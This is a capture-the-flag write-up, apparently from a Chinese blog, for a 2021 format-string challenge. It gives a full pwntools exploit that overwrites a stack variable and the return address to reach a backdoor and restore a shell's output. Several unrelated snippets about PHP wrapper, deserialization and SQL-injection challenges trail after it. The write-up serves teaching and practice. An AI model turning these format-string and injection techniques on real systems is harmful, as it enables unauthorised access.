easyfmt 2021極客大挑戰

2022-09-09 22:33:32 字數 4139 閱讀 1029

這道題目是格式化字串漏洞的一道題目,還涉及到了重定向。記錄一下,這是可是詳細講解,不會的同學可以看一下。

我們來看一下題目內容

主函式沒有什麼說的,直接來看vuln函式。

題目大眼一看有兩處格式化字串漏洞。遇到這個一般是先找偏移。通常來說是先輸入一串%p,通過輸出的內容來數偏移。但是這裡一開始只讓你輸入13個字串,這咋計算呢。我這只有乙個笨方法。

就是輸入aaaa%1$p從一開始乙個乙個試,aaaa%2$p,aaaa%3$p ......知道試到15就出現了

因為程式是32位程式,所以第乙個格式化字串漏洞的偏移就是15了,那麼找到偏移我們如何利用的呢。再回到上面的vuln函式中有乙個if語句判斷v3是否等於12,如果不等於12程式就直接退出了。

這裡肯定是利用格式化字串漏洞先把v3的值改成12。如何改?看到程式執行時先把v3的位址給輸出出來。我們把payload先構成這樣:

pl = p32(v3_addr)+'%8c%15$n'
v3的位址你先接受一下

r.recvuntil('first step:\n')

v3_addr= int(r.recvuntil('\n'),16)

這樣我們就可以把v3的值修改成12。

接下來就可測試下乙個格式化字串的偏移。如果是直接gdb 除錯我們不容易進入下乙個格式化字串那個位置。我的辦法是寫exp除錯

我們在第三個printf那裡下乙個斷點。執行exp時會彈出乙個終端。

輸入c是繼續除錯。n下一步,直到執行完call printf

我們回到開始的終端頁面(執行exp那個頁面)

這裡就可以看出第二個偏移時7了。那如何利用呢?

我還是的gdb除錯

在 vuln下斷點。

這是輸出v3的位址。接下來我們檢視棧中的內容。

我們可以看到這個位址和返回位址相差了0x10,程式給了後門函式。backdoor = 0x0804874d。我們可以發現返回位址中儲存的內容也是乙個位址,而且呢與後門函式長得非常相似,那麼思路就來了。把返回位址中的位址的最後一位元組修改成4d

這不就直接可以返回後門函式了嘛。為啥這麼做呢,因為第二個scanf輸入也受到了限制。只讓你輸入20個字元無法造成溢位。到這裡還沒完呢!

這裡有乙個close()函式。這就關閉了輸入,你ls就沒髮用了。

0和1是linux下的檔案描述符。

在linux中一切皆檔案,檔案描述符(file descriptor)是核心為了高效管理已被開啟的檔案所建立的索引,是乙個非負整數(通常是小整數),用於指代被開啟的檔案,所有執行i/o操作的系統呼叫都通過檔案描述符。程式剛剛啟動的時候,0是標準輸入,1是標準輸出,2是標準錯誤。如果此時去開啟乙個新的檔案,它的檔案描述符會是3。

標準輸入輸出的指向是預設的,我們可以修改它們的指向,也即重定位

舉例子,可以用exec 1>myoutput把標準輸出重定向到myoutput檔案中,也可以用exec 0&0,也就是把標準輸出重定向到標準輸入,因為預設開啟乙個終端後,0,1,2都指向同乙個位置也就是當前終端,所以這條語句相當於重啟了標準輸出,此時就可以執行命令並且看得到輸出了

我們getshell時先輸入乙個exec 1>&0再ls

from pwn import *

# context.log_level = 'debug'

r = lambda : p.recv()

rx = lambda x: p.recv(x)

ru = lambda x: p.recvuntil(x)

rud = lambda x: p.recvuntil(x, drop=true)

s = lambda x: p.send(x)

sl = lambda x: p.sendline(x)

sa = lambda x, y: p.sendafter(x, y)

sla = lambda x, y: p.sendlineafter(x, y)

close = lambda : p.close()

debug = lambda : gdb.attach(p)

shell = lambda : p.interactive()

# p = process('./pwn')

p = remote('123.57.230.48','12342')

elf = elf('./pwn')

backdoor = 0x0804874d

# gdb.attach(p,'b *0x08048685')

ru('first step:\n')

target = int(rud('\n'),16)

pl = p32(target)+'%8c%15$n'

success(hex(target))

sl(pl)

pl = p32(target+0x10)+'%'+str((backdoor&0xff)-4)+'c%7$hhn'

sla('there',pl)

shell()

原exp2021極客大挑戰wp集合_ocean的部落格-csdn部落格

極客大挑戰 secret file

可以從html 中找到相關的內容 通過抓包來獲取各個頁面的內容 這個最主要的東西還是php偽協議的應用,這道題應該屬於檔案包含漏洞的題目 php filter 是一種元封裝器,設計用於資料流開啟時的篩選過濾應用。這對於一體式 all in one 的檔案函式非常有用,類似 readfile file...

極客大挑戰 2019 PHP

開啟以後,是三個php原始碼,其中最重要的是class.php,如下 include flag.php error reporting 0 class name function wakeup function destruct if this username admin else 看了一下,這個...

極客大挑戰 2019 HardSQL wp

有過濾,抓個包fuzz一下 等號,空格等被過濾 發現可以用報錯注入,空格可以用括號代替 查表名username admin or extractvalue 1,concat 0x7e,select group concat column name from information schema.co...